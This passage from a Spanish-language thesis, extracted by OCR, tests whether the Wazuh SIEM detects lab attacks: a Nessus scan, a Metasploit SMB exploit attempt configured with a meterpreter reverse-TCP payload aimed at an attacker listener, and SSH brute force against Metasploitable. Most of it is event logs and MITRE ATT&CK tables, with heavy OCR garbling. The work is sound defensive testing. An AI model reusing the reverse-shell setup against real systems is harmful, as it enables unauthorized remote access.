21:47:29.373 LOGON - NTLM authenticati
on, possible pass-the-has
h attack.
Apr 28, 2025 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.102
>0 connection.
21:47:28.515
Apr 28, 2625 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.102
> connection onal
21:47:28.512
Apr 2B, 2025 4653 172.16.16.24 An IPsec Main Mode negoti Security
> ation failed
21:47:26.967
Anr 28 2075 4R53 172 .16.16.74 - An TPsec Main Mode neanti Security -
= W Discover New Save Open Share Inspect a [}
= Apr 28, 2825 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.162
> e connection
21:47:18.354
Apr 28, 2025 3 172.16.16.24 - Sysmon - Event 3: Metwork Microsoft-Windows-Sysmon/Operati 172.16.16.162
> 8 connection
21:47:18.323
Apr 28, 2025 3 172.16.16.24 Sysmon - Event 3: Metwork Microsoft-Windows-Sysmon/Operati 172.16.16.162
> e connection.
21:47:18.386
Apr 28, 2025 3 172.16.16.24 Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
> e connection.
21:47:18.290
Apr 28, 2825 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
? e connection.
21:47:18.275
Apr 20, 2825 3 172.16.16.24 - Sysmon - Event 3: Metwork Microsoft-Windows-Sysmon/Operati 172.16.16.102
> e connection.
21:47:18.260
Apr 28, 2825 3 172.16.16.24 - L - nt 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
> e connection. onal
21:47:18.243
Apr 28, 2825 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.162
> connection onal
21:47:18.227
Apr 28, 2025 3 172.16.16.24 - mon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.162
> e connection onal
21:47:18.213
Apr 28, 2025 3 172.16.16.24 Sysmon - Event 3: Metwork Microsoft-Windows-Sysmon/Operati 172.16.16.102
> e connection. onal
21:47:18.198
Apr 28, 2025 3 172.16.16.24 Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
» connection. onal
21:47:18.181
Apr 20, 2825 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
> connection. onal
21:47:18.165
Apr 20, 2825 3 172.16.16.24 - smon - Event 3: Network Microsoft-Windows-Sysmon/Operati 172.16.16.182
> connection. onal
21:47:18.150
« Apr 28, 2825 3 172.16.16.24 - Sysmon - Event Microsoft-Windows-Sysmon/Operati 172.16.16.182

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 3: Network remote connection: El Event ID 3 registrado por Sysmon en
el agente MV-Win-Srv-19 (IP: 172.16.16.24) el 21 de abril de 2025 a las 02:47:17

UTC indica la deteccion de una conexion de red entrante mediante el protocolo TCP

desde la direccion IP 172.16.16.102 hacia el puerto 5985, correspondiente a servicios

remotos de Windows. Esta actividad se asocid a la técnica MITRE ATT&CK T1021
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(Remote Services) y fue realizada por el proceso System (PID 4) bajo el contexto del

usuario NT AUTHORITY\SYSTEM. La conexion no fue iniciada por el sistema de

destino, lo que sugiere una conexion establecida desde el host remoto, posiblemente

para tareas de administracion remota o acciones automatizadas.

Figura 69

Deteccion del Event ID 3 en la SIEM Wazuh

Apr 28, 2825 €
N 21:47:28.515

3

[ Expanded document

Table JSON

t

_index

agent.1id

agent.ip

agent. name

172.16.16.24 - Sysmon - Event 3: Network connecti Micresoft-Windows-Sysmon/Operation
on.

wazuh-alerts-4.x-2825.84.21
882
172.16.16.24

MV-Win-Srv-19

data.win.eventdata.destinationIp

172.16.16.24 I

data.win.eventdata.destinationIsIpve

data.win.eventdata.destinationPort

data.win.eventdata. inage

data.win.eventdata.initiated

data.win.eventdata.processGuid

data.win.eventdata.processId

data.win.eventdata.protecol

false

5985

Systen

false

{5e77e52f-BcBB-6885-£hA3-00BAARARARER}

4

tep

data.win.eventdata. ruleName

data.win.eventdata.sourcelp

technique_1d=T1821, technique_name=Remote Services

172.16.16.182

data.win.eventdata. sourceIsIpve

data.win.eventdata.sourcePort

false

56388
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Figura 70

Deteccion del Event ID 3 en la SIEM Wazuh

Ww.

Discover

t data.win.eventdata.initiated false

t data.win.eventdata.processGuid {5e77e52f-5c88-6805-eb03 - BOBBABARAEE)
t data.win.eventdata.processId 4

t data.win.eventdata.protocol tep

t data.win.eventdata.ruleName technique_id=T1821, technique_name=Remote Services
t data.win.eventdata.sourcelp 172.16.16.102

t data.win.eventdata.sourceIsIpvé false

t data.win.eventdata.sourcePort 56388

t data.win.eventdata.user NT AUTHORLTY\\SYSTEM

t data.win.eventdata.utcTime 2025-84-21 B2:47:24.658

t data.win.system.channel Microsoft-Windows-Sysmon/Operational

t data.win.system.computer MV-Min-Srv-19

t data.win.system.eventID 3

t data.win.system.eventRecordID 11e39

t data.win.system.keywords £x3080000900000000

t data.win.system.level 4

t data.win.system.message 5 “Network connection detected:

RuleName: technique_id=T1821,technigue_name=Remote Services
UtcTime: 2025-84-21 82:47:24.658

ProcessGuid: {5e77e52f-8cB8-6605-2003-000600800000}
Processid: 4

Image: System

lser: NT AUTHORTTYASYSTEM

T data.win.system.opcade O

t data.win.system.processID 1632

e Event ID 4653 : An IPsec Main Mode negotiation failed: El Event ID 4653

registrado en el canal Security en el agente MV-Win-Srv-19 (IP: 172.16.16.24) el 21
de abril de 2025 a las 02:47:26 UTC indica que una negociacion de modo principal
IPsec falld. La negociacion se realizé entre la direccion IP 172.16.16.24 (puerto 500)
como punto final local y 172.16.16.102 (puerto 55802) como punto final remoto,
utilizando el modulo de clave IKEv2. La razon del fallo fue "An attempt was made to
create an object and the object name already existed", lo que sugiere que ya existia un
objeto con el mismo nombre. La autenticacion fue desconocida, y el rol fue
respondedor. Este evento esta relacionado con el grupo ipsec y tiene un nivel de

AUDIT FAILURE.
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Figura 7

Deteccion del Event ID 4653 en la SIEM Wazuh

Apr 28, 2825 € 4853

N 21:47:26.965
[ Expanded document

Table JSON

t _index

agent.id

agent.ip

agent.name

172.16.16

.24 -

wazuh-alerts-4.x-2825.84,21

802

172.16.16.24

HV-Win-Srv-19

An IPsec Main Mode negotiation fai Seeurity
led

t data.win.eventdata.failurePoint %%8199
t data.win.eventdata.failureReason {Object Exists} An attempt was made to create an object and the object name already existed.
t data.win.eventdata.initiatorCookie 754e7a5737356478
t data.win.eventdata.keyModName %%8244
I t data.win.eventdata.localAddress 172.16.16.24 I

t dats.win.eventdata.localkeyModPort 508
t data.win.eventdata.mMAuthMethod %%8194
t data.win.eventdata.mMFilterID e
t data.win.eventdata.mMImpersonationState %%8217

I t data.win.eventdata.remoteAddress 172.16.16.182 I
t data.win.eventdata.remoteKeyModPort 55882
t data.win.eventdata.responderCookie B0B8808688880888
t data.win.eventdata.role %%8206

Figura 72

Deteccion del Event ID 4653 en la SIEM Wazuh

t data.win.system.channel Security

t data.win.system.computer MY-Win-Srv-19

t data.win.system.eventID 4653

t data.win.system.eventRecordID 18584

t data.win.system.keywords BxE6018606800680000

t data.win.system.level ]

t data.win.system.message 5 "An IPsec main mode negotiation failed.

Local Endpoint:

Local Principal Name: -
Network Address: 172.16.16.24
Keying Module Port: 588

t data.win.system.opcode ]

t data.win.system.processID 628

t data.win.system.providerGuid {54849625-5478-4994-a5ba-3e3b@328c38d}

t data.win.system.providerName Microsoft-Windows-Security-Auditing

t data.win.system.severityValue AUDIT_FAILURE

t data.win.system.systemTime 2825-84-21782:47:26.6896626007
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e Event ID 4624: Successful Remote Logon - ANONYMOUS LOGON - NTLM
authentication y Windows Logon Success: El evento con ID 4624 indica un inicio
de sesion exitoso en el sistema "MV-Win-Srv-19" desde la direccion [P
172.16.16.102, utilizando NTLM V1 como método de autenticacion. El usuario
involucrado es "ANONYMOUS LOGON" del dominio "NT AUTHORITY", y el tipo
de inicio de sesion es de tipo 3 (red). La técnica MITRE relacionada seria "T1071:
Application Layer Protocol" debido al uso de NTLM para autenticacién remota, que
es comun en ataques de "pass-the-hash". No se detectaron procesos o programas
asociados especificamente en este evento, ya que no se proporcionaron detalles sobre
procesos activos o ejecutandose en el momento del inicio de sesion.

Figura 73

Deteccion del Event ID 4624 en la SIEM Wazuh

2 21:47:29.385

o Apr 28, 2825 @ 4624 172.16.16.24 172.16.16.182 Successful Remote Logon Detected - Security
21:47:29.373 User :\ANONYMOUS LOGON - NTLM authe
ntication, possible pass-the-hash

[ Expanded document

Table JSON
t _index wazuh-alerts-4.x-2025.84.21
t agent.id 0a2
l t agent.ip 172.16.16.24 ]
t agent.name MV-Win-Srv-19

t data.win.eventdata.authenticationPackageName NTLM

t data.win.eventdata.elevatedToken %1843
t data.win.eventdata.impersonationlLevel %%1833

t data.win.eventdata.ipAddress 172.16.16.182
t data.win.eventdata.ipPort 56382

t data.win.eventdata.keylength [

t data.win.eventdata.lnPackageName NTLM V1

t data.win.eventdata.logonGuid {

t data.win.eventdata.logonProcesshame NtLmSsp

t data.win.eventdata.logonType 3

t data.win.eventdata.processId 8x8

t data.win.eventdata.subjectLogonId exe

t data.win.eventdata.subjectUserSid 5-1-8-8

t data.win.eventdata.targetDomainName NT AUTHORTTY
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Figura 74

Deteccion del Event ID 4624 en la SIEM Wazuh

W.

Discover

t data.win.system.processID 628

t data.win.system.providerGuid {

t data.win.system.providerName Microsoft-Windows-Security-Auditing

t data.win.system.severityValue AUDIT_SUCCESS

t data.win.system.systemTime 20825-84-21T02:47:28.313873108Z

t data.win.system.task 12544

t data.win.system.threadID 4656

t data.win.system.version 2

t decoder.name windows_eventchannel

t full_log
{"win":{"system" : {"providerName" :"Microsoft-Windows-Security-Auditing”, "providerGuid”:"{54849625-5478-4994-a5ha-3e3bB328c38d}", "eventID" : "462
rds" :"0x86200000866000000", "systemTime" :"2025-84-21T82:47:28.313873108Z", "eventRecordID" :*185087", “processID" :"628", "threadID" :*4656", "channel”
UCCESS", "message”:"\"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-8-8\r\n\tAccount Name:\t\t-\r\n\tAccount
\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mede:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tNo\r\n\r\nImpersonation Level:\t\tImp
Account Name:\t\tANONYMOUS LOGON\rin\tAccount Domain:\t\tNT AUTHORITY\r\n\tLegon ID:\t\tBx4A26C3\r\n\tLinked Logon ID:\t\t@x@\r\n\tNetwork Ac
Divt\t FrinirinProcess Information:\rin\tProcess ID:\t\t@x@\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Infor
e e AR T L

t id 1745283649 .7888857

¢t input.type log

t location EventChannel

t manager.name wazuh-server

t rule.description Successful Remote Logon Detected - User:\ANONYMOUS LOGON - NTLM authentication, possible pass-the-hash attack.

# rule.firedtimes )

t rule.gdpr Iv_32.2

t rule.gpgld 7, 7.2

E ID 4625: L Fail k : El
e Event 5: Logon Failure - Unknown user or bad password: El evento con

Event ID 4625 involucra a los activos MV-Win-Srv-19 (agente con IP 172.16.16.24)

y LAPTOP-O0P7VGRI (origen de la solicitud de inicio de sesion con IP

172.16.16.102). La técnica MITRE ATT&CK asociada es T1071 - Application Layer

Protocol, en el contexto de un fallo de autenticacion debido a un nombre de usuario

desconocido o contrasefia incorrecta. El programa relacionado con el evento es

NtLmSsp (proceso de autenticacion NTLM). El Process ID (PID) involucrado en este

caso es 628.
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Figura 75

Deteccion del Event ID 4625 en la SIEM Wazuh

= W

Discover

> 2i4bt

fpr
> 2ilaathr s

Apr 20, 2025 @

o 21:43:55.293

577282

2025 €
254

[ Expanded document

Table JSON

_index

t agent.id

172.16.16.24

172.16.16.24

(valle set).

172.16.16.182

wazuh-aler ts-4.x-2025.84.21

002

t agent.ip

172.16.16.24

t agent.name

¢ data.win.eventdata.failureReason

in.eventdata.authenticationPackageName

MV-Hin-Srv-19

NTLK

252313

172.16.16.182

t data.win.eventdata.status
ntdata.subStatus

t data.win.eventdata.subjectlogonId

t data.win.eventdata.sub;

jectUserSid

t data.win.eventdata.targetDomainName

56445

xcE08086d

BxcBEBAB6S

6x6

5-1-8-8

Sysmon - Event 11: FileCreate.

Logon Failure -
d password

Microsoft-Windows-Sysmon/Operational

Unknown user or ba Security

Event ID 4776: Windows audit failure event: El evento con Event ID 4776

involucra los activos MV-Win-Srv-19 (agente con IP 172.16.16.24) y LAPTOP-

OOP7VGRI, donde se intent6 validar la autenticacion para el usuario $ mediante el

paquete de autenticacion MICROSOFT AUTHENTICATION PACKAGE V1 0,

pero fall6 con el codigo de error 0xC0000064. Este evento corresponde a un intento

fallido de validacién de credenciales, asociado con la técnica MITRE ATT&CK

T1071 - Application Layer Protocol (por el uso del protocolo de autenticacion). El

programa involucrado es Microsoft-Windows-Security-Auditing. El Process ID (PID)

asociado es 628.
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Figura 76

Deteccion del Event ID 4776 en la SIEM Wazuh

= W. Discover
= s Aer 20, 2025 @ 1 172.16.16.24 - Sysmon - Event 11: FileCreste. Microsoft-Windows-Sysmon/Operatior
21:49:57.254
Apr 28, 2025 @ 4625 172.16.16.24 172.16.16.182
> 21:49:55.208
Apr 28, 2025 @ 4776 172.16.16.24 - Windows audit failure event Security

V' 21:49:55.29

[ Expanded document

Table JSON
t _index wazuh-alerts-4.x-2825.84.21
t agent.id an2
t agent.ip 172.16.16.24
t agent.name MV-Win-Srv-19

t data.win.eventdats.packageName  MICROSOFT_AUTHENTICATION_PACKAGE_V1_8

t data.win.eventdata.status OxcB088864

t data.win.eventdata.targetUserName §

t data.win.eventdata.workstation  LAPTOP-OBP7VERI I

t data.win.system.channel Security

t data.win.system.computer MV-Win-Srv-19

t data.win.system.eventID 4776

t data.win.system.eventRecordID 18663

t data.win.system.keywords 0x50168800806680600

t data.win.system.level )

t data.win.system.message "The computer attempted to validate the credentials for an account.

Authentication Package: WICROSOFT_AUTHENTICATION_PACKAGE_V1_8
Logon Account: §
Source Workstation: LAPTOP-08PTVGRT

e Event ID 4634: Windows User Logoff: El evento con Event ID 4634 involucra a los
activos MV-Win-Srv-19 (agente con IP 172.16.16.24), donde se registro un cierre de
sesion con el usuario ANONYMOUS LOGON desde el dominio NT AUTHORITY.
La técnica MITRE ATT&CK asociada es T1071 - Application Layer Protocol, ya que
se trata de un cierre de sesion remoto, identificado con Logon ID 0x4b07c3 y Logon
Type 3 (red). El programa relacionado con el evento es Microsoft-Windows-Security-

Auditing. El Process ID (PID) involucrado es 628.
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Figura 77

Deteccion del Event ID 4634 en la SIEM Wazuh

1]
=
5
H
E §

P Expanded document

Table JSON

WaZUN-BLerts-4.%-2025.84.21

ane NT AUTHORTTY

exavazca

me  ANCNYNOUS LOGON

15678

©%3020009980900000

[l

An aceount was logged off

Subject:

Figura 78

Deteccion del Event ID 4634 en la SIEM Wazuh

© Gata.win.systen.eventId w625
t data.win.system.eventRecordID 18664
¢ data.win.systen. keywords exse 1000000085660
+ data.win.systen.level o
t data.win.systen.message
“An account failed to log on
Subject:
Security 10 s1-e-8
Account Name -
Account Domain: -
[P o
t data.win.systen.opcode o
¢ data.win.systen.processID 628
¢ data.win.systen.providercuid (54849625-5478-4994-35ba-323p8328C380)

A continuacidn, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre al realizar un ataque de escaneao dinamico con Nessus:
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Tabla 16

104

Casos encontrados de acuerdo con el framework Mitre del ataque de escaneo dinamico con

Nessus
Fechay ID de 1P 1P Descripcio MITRE ATT&CK
hora Evento  Origen  Destino n
Apr 20, 4634 172.16.1 - Windows  T1078 - Valid Accounts (Logoff
2025 @ 6.24 User relacionado a sesiones validas)
21:50:06 Logoff
814
Apr 20, 4776 172.16.1 172.16.16 Windows  T1071 - Application Layer
2025 @ 6.24 102 audit Protocol
21:49:55 failure
296 event
Apr 20, 4625 172.16.1 172.16.16 Logon T1110 - Brute Force
2025 @ 6.24 102 Failure -
21:49:55 Unknown
298 user or bad
password
Apr 20, 4624 172.16.1 172.16.16 Successful T1078 - Valid Accounts / T1021 -
2025 @ 6.24 102 Remote Remote Services
21:48:19 Logon -
249 ANONYM
ous
LOGON -
NTLM
authenticat
ion
Apr 20, 4624 172.16.1 - Windows  T1078 - Valid Accounts
2025 @ 6.24 Logon
21:48:05 Success
819
Apr 20, 4653 172.16.1 172.16.16 An IPsec T1071 (" Application Layer
2025 @ 6.24 102 Main Protocol")
21:47:26 Mode
965 negotiation
failed
Apr 20, 3(Sysm 172.16.1 172.16.16 Sysmon - technique_id=T1021,technique _
2025@  on) 6.24 102 Event 3: name=Remote Services
21:47:28 Network
S15 connection
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3.6.1.5. Ataque por Mfsconsole: Explotacion de Vulnerabilidades. Para la simulacion
de dicho ataque se describe a continuacion los datos tanto de la méaquina atacante como la
maquina que recibira el ataque para la recoleccion de logs.
Tabla 17

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.108 - Kali
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

En esta seccion se utiliza MSFConsole, la interfaz principal del framework Metasploit,
para llevar a cabo la explotacion de vulnerabilidades en un entorno controlado. A través de esta
simulacion, se demuestra como un atacante puede identificar fallas de seguridad en servicios o
aplicaciones y explotarlas para obtener acceso no autorizado, resaltando la importancia de aplicar
parches y mantener una buena postura defensiva.

Figura 79

Informacion de red de la maquina atacante

2] ES Espariol (Ecuador)

File FEdit View VM Tabs Help D @M ol

=y

X a
Kali Limux NW

= a
n 10 and earli| 1: < ) > 3 s UNKNOWN group default glen 1000
0 x64

group default glen 1000

ite eth@d
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Figura 80

Ejecucion de MSFConsole

ES Espafiol (Ecuador)

Edit View VM Tabs Help

[

Actions Edit View

Clone o
FreeBSD v
M1_Windov
Parrot DS
DVWA
rot DS WAN2
ni3

1

Figura 81

Ejecucion de MSFConsole

Edit View VM Tabs Help

Kali Linux NW

— Iy oo o648 ons|ao

% | File Actions Edit View Help
Clone of Kali Linux
FreeBSD version 10 and

T M1_Windows 1(
Parrot DS Payload options (windows/x64/meterpreter/reverse_tcp):
DVWA
Parrot DS WAN2 Name rrent Setting Required Description

dows Embedded Standard 7 target machines.

Cain 13 wary
5 EXITFUNC thread yes Exit technique (Accepted: seh, thread, process, none)

LHOST 172.16.16.108 yes The listen address (an interface may be specified)
wazuh-server-11pro LPORT 4444 yes The listen port
Windows Server 2019

waz! ver-11

Exploit target:

Id Name

o Automatic Target

View the full module info with the f r command .
6 exploit(

Started reverse TCP handler on 17
172.16.16.24:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
172.16.16.24:445 - Host does NOT appear vulnerable.
172.16.16.24:445 - Scanned 1 of 1 hosts (100% complete)
172.16.16.24:445 - The target is not vul ble.
Exploit completed, but no session was created.

msf6 exploit( ) >

direct input to this VM, move the mouse pointer inside or press Ctrl+G.

1n°c
Parc. nublado
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Figura 82

Deteccion de eventos en la SIEM Wazuh provocados por MSFConsole

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 4624: Successful Remote Logon Detected - User: ANONYMOUS
LOGON - NTLM authentication, possible pass-the-hash attack - Possible RDP
connection: El evento con ID 4624 registrado en Wazuh indica un inicio de sesion
exitoso en un sistema Windows. La autenticacion se realizo a través de NTLM V1
con una cuenta de inicio de sesion anonima (ANONYMOUS LOGON), lo que
sugiere una posible actividad sospechosa como un ataque de tipo "Pass-the-Hash". El
inicio de sesion ocurrid de forma remota desde la I[P 172.16.16.108 y el puerto 35333.
Este evento corresponde a un inicio de sesion de tipo 3 (Network Logon), lo que
implica que la autenticacion se realizo a través de una conexion de red en lugar de un
inicio de sesion interactivo. Este tipo de inicio de sesidon, combinado con la cuenta
anonima, puede estar relacionado con un acceso no autorizado. El nombre de estacion
kVD5dLoVLFHV5h)T podria ser generado aleatoriamente, lo que aumenta la

sospecha de un ataque.
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Figura 83

Deteccion del Event ID 4624 en la SIEM Wazuh

172.16.16.108

:17.648

5 Expanded document View surrounding documents U View single docusent

Table JSON

_index wazuh-alerts-4,x-2825.84.21

¢ agent.id 002

I ¢ agent.ip 172.16.16.24 I

W-Hin-Sre-19

win.eventdata.authenticationPackageNane NTLM
tdata.elevatedToken %1843

ventdata. impersonationlevel %1833

tdsta.iphddress 172.16.16.108 ]

TTEte- 10P0TT

tdsta.keyLength ]

tdata. InPackagelane NTLH V1 l

{80300PA0 -3PR0-0PBE-206B-90BRAOEAREER}

onProcesshane NtLsSsp

e Event ID 5140: A network share was accessed: El evento con ID 5140 registrado
en Wazuh indica que se ha accedido a un recurso compartido en la red. En este caso,
se utilizo la cuenta ANONYMOUS LOGON desde la direccion IP 172.16.16.108 y el
puerto 35333, lo que sugiere una posible actividad sospechosa, ya que se trata de un
inicio de sesion andénimo. El recurso compartido accesado es IPCS$, que es un recurso
comunmente utilizado para compartir informacion de red entre maquinas. La solicitud
de acceso se realizé con el permiso de lectura (ReadData (or ListDirectory)), lo que es
un acceso tipico para la enumeracion de recursos. El evento tiene un nivel de
severidad AUDIT SUCCESS y esta relacionado con la auditoria de seguridad de

Windows.
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Figura 84

Deteccion del Event ID 5140 en la SIEM Wazuh

P Expanded document

22:15:17

172.16.16.188 Microsoft-Windons-Security-Auditing A metwork share was accessed

View surrounding documents (4 ¥iew single docume

Table JSON
_index wazuh-alerts-4.x-2825.84.21
¢ agent.id 862
I ¢ agent.ip 172.16.16.24 ]

¢ agent.name MV-Win-Srv-19

¢ date.win.eventdats.accesslist 312416

¢ data.win.eventdats. accessask ox1

{ dats.win.eventdats.ipAddress 172.16.16.188

t data.win.eventdata.ipPort 35333

¢ date.win.eventdata.objectType File

¢ data.win.eventdata.shareName WAATPCS

¢ dats.win.eventdsta.subjectUserName  ANONYHOUS LOGON

¢ dats.win.eventdata.subjectUserSid  S-1-5-7

¢ data.win.eventdata.subjectDomainName NT AUTHORITY

¢ date.win.eventdata.subjectlogonld  Ox4e295a

¢ dats.win.system.channel Security

¢ dats.win.systen.computer HV-Hin-Srv-19
t data.win.system.eventID 5148

« dats.win.system.eventRecordID 19324

Event ID 1150: Windows Defender: Antimalware platform is running and in a
healthy state: Este evento con ID 1150 registrado en Wazuh proviene de un sistema
con nombre "MV-Win-Srv-19". El mensaje indica que el cliente de proteccion del
endpoint, Microsoft Defender Antivirus, estd en funcionamiento y en un estado
saludable. Se especifican las versiones de la plataforma (4.18.25030.2), el motor
(1.1.25030.1) y la inteligencia de seguridad (1.427.351.0), lo que sugiere que el
sistema esté protegido y operativo. El evento tiene un nivel de severidad informativo
(severityValue: INFORMATION) y se ha registrado en el canal de eventos de
Microsoft-Windows-Windows Defender/Operational. Este evento es de tipo
Antimalware platform is running and in a healthy state, lo que cumple con varias

normativas de seguridad como PCI-DSS, HIPAA, y NIST 800-53.
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Figura 85

Deteccion del Event ID 1150 en la SIEM Wazuh

5 Expanded document

Table

JSON

» gata.win.eventdata.engine version

v data.win.eventdata.platform version

> data.win.eventdata.security intell

_index
agent. id

agent.ip

sgent.name

data.win.eventdata.product Name

data.win.systen. channel

data.win.systen. camputer

data.win.systen. eventID

data.win.syst

data.win.system. keywords

data.win.systen

data.win.systen. nessage

data.win.systen.opcode

data.win. system. processIn

data.win.systen. providerGuid

data.win.system. providerNane

- - Microsoft-Windows-Rindons Defender

wazuh-alerts-4,x-2625,84.21
082
172.16.16.24
WV-Win-Sry-19
1.1.25838.1
4.18.25030.2
Microsoft Defender Antivirus
1.427.351.0
Microsoft-Windows-Windows Defender/Operational
WV-Win-Srv-19
1158
183
9x8099908009980098
4

*Endpoint Protection client is up and running in & healthy state.
Platform version: 4.18.25039.2
Engine version: 1.1.25838.1
Security intelligence version: 1.427.351.9

b
389
{11ca9588-c507-4ef3-b3f2-5Fd9afpaze7a}

Microsoft-Windows-Windows Defender

Windows Defender: Antinalware platform is ruaning and in a healthy £
te

View surrounding docurents % View single docusent

A continuacidn, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre al realizar un ataque con MFSconsole: explotacion de vulnerabilidades:
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Tabla 18

111

Casos encontrados de acuerdo al framework Mitre del ataque con MFSconsole: explotacion de

vulnerabildidaes
Fecha  Evento Descripcion Proveedor IP Origen Detalles
ID Adicionales
Apr 20, 1150 Windows Defender: Microsoft- - La plataforma
2025 @ Antimalware platform Windows- antimalware esta
22:16:26 is running and in a Windows en ejecucion y
healthy state Defender saludable.
Apr20, 11 Sysmon - Event 11: Microsoft- - Se ha creado un
2025 @ FileCreate Windows- archivo.
22:15:57 Sysmon
Apr 20, 4634 Windows User Logoff Microsoft- - El usuario ha
2025 @ Windows- cerrado sesion.
22:15:22 Security-
Auditing
Apr 20, 5140 A network share was ~ Microsoft-  172.16.16.108 Se ha accedido a
2025 @ accessed Windows- un recurso
22:15:17 Security- compartido en la
Auditing red.
Apr 20, 4624 Successful Remote Microsoft-  172.16.16.108 Se ha detectado
2025 @ Logon Detected - Windows- un inicio de
22:15:17 User: ANONYMOUS  Security- sesion remoto
LOGON - NTLM Auditing exitoso
authentication, utilizando
possible pass-the-hash NTLM, lo que

attack - Possible RDP
connection

podria ser un
ataque pass-the-
hash.
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3.6.2. Simulacion Ataques Hacia Metasploitable Server. En esta seccion se describe
la simulacion de ataques dirigidos a un servidor Metasploitable, una maquina virtual
intencionadamente vulnerable disefiada para pruebas de penetracion y evaluacion de
herramientas de seguridad. El objetivo es demostrar como los atacantes podrian explotar
vulnerabilidades comunes en un entorno controlado, utilizando herramientas como Nmap,
Metasploit Framework y otras utilidades de analisis y explotacion. Para luego validar los
eventos detectados por el SIEM Wazuh (Medium, 2024)
3.6.2.1. Ataque de Fuerza Bruta. Para la simulacion de dicho ataque se describe a
continuacion los datos tanto de la maquina atacante como la maquina que recibira el ataque para
la recoleccion de logs.
Tabla 19

Datos de la maquina atacante y la mdaquina objetivo

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.1 - Windows 10
Maquina Objetivo 172.16.16.13 - Ubuntu

Se realizo varios intentos de inicio de sesion fallidos mediante SSH, lo cuales se valida

fueron detectados por le SIEM Wazuh.
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Figura 86

Ataque de Fuerza bruta mediante SSH hacia Metasploitable Server.

Figura 87

Validacion de logs del ataque de Fuerza Bruta en la SIEM Wazuh.

57 hts

Apr 26, 2025 @ 17:04:31.480 - Apr 26, 2025

8
timestamp per 30 seconds
Time agent.nams rulke mitre.actic ruke description rubeJevel ruleid data.dstuser dota.srcip hocati

Apr 26, 7625 @ 17:33:33 143 mabemezun l:d

authenticetion failures followed by 12 112 nabe 726,161 ts, Brute Fo  172.16.16.1
3

26, 2005 § 17:33:38.143 mabewazuh i 3 b Valid Accounts 172.16.16.1
3

4pr 36, 2625 @ 17:33:28.068 nabewzzun TI118.88, TIE2I.  Credential Access, Lateral Movement sshd: authentieation filed : nabe 17296161 Password Cuessing, S8 172.16.16.1
4 3

Apr 36, 2625 @ 17:33:26.740  nabewczun 11,88 Credential Access PAM: User login feiled : 5583 nabe 17216161 Password Guessing 172.16.6.1
3

for 26, 2605 § 17:30:35.265  mabewszuh T Credential Access syslog: User missed the password mare than o 18 2582 - - Brute Force 172.16.16.1
ne time 3

64 nabewzun TI118.88, TIE2.  Credential Access, Lateral Movement sshd: Attespt to login using a non-exist : 5718 - 6.16 Passy ssing, S8 172.16.76.1
user 3

17 msbewszun n Credential Access sshd: brute force 6.16 ute Forc 172.16.6.1
yoren. Non ex 3
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Una vez realizado el ataque se valida los siguientes casos de uso detectados:

e Event ID 5712: Intento de fuerza bruta sobre servicio SSH: Se detecté un ataque de
fuerza bruta contra el servicio SSH en el sistema metasploitable (IP: 172.16.16.13)
desde la direccion IP 172.16.16.1. El atacante intent6 autenticar multiples veces con
el nombre de usuario invalido admin. El evento fue generado por el demon sshd, tras
registrarse 8 intentos consecutivos fallidos. Este comportamiento corresponde a la
técnica MITRE ATT&CK T1110 (Brute Force) dentro de la tactica Credential
Access.

Figura 88

Deteccion del Event ID 5712 (Intento de fuerza bruta sobre servicio ssh) en la SIEM Wazuh

3.6.2.2. Ataque Acceso Remoto por SSH/Telnet. Para la simulacion de dicho ataque se
describe a continuacion los datos tanto de la maquina atacante como la maquina que recibira el

ataque para la recoleccion de logs.
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Tabla 20

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.1 - Windows 10
Maquina Objetivo 172.16.16.13 - Ubuntu

Se realizo varios intentos de inicio de sesion mediante SSH y Telnet, los cuales fueron
detectados eventualmente por la SIEM Wazuh.
Figura 89

Intentos de acceso remoto por ssh 'y Telnet hacia Metasploitable.
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Figura 90

Validacion de logs del ataque inicio de sesion remota por ssh y Telnet hacia Metasploitable en la

SIEM Wazuh

= @ wazuh, v e

013

25 € 13

® 12

° 12

8:47.842

80:36_449

MITRE ATTECK @

agent name.

58:16.507 mabewazun

58:04.008  mabewazuh

rule. mitre-tactic

al Access

92 hits

Apr 26,2025 @ 12:31:45.996 - Apr 26, 2025 @ 13:01:48.996 Aute

timestamp per 30 seconds
rule description rulelevel

PAN: User login failed

PAN: User login failed.

PAN: User login failed

unts, Re

enote $  172.16

6

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 5715 & 5501: Uso de credenciales validas y acceso remoto (SSH): Se

registro un inicio de sesion exitoso mediante el servicio SSH al sistema

metasploitable (IP: 172.16.16.13) usando la cuenta valida msfadmin, desde la

direccion IP 172.16.16.1, utilizando el puerto de origen 59905. Estos eventos fueron
generados por el demonio sshd lo que indica un acceso exitoso al sistema con una

cuenta que posee privilegios de administrador (UID=0). Se valido la deteccion del

Event ID 5715: Autenticacion exitosa via SSH con contrasenas validas (MITRE

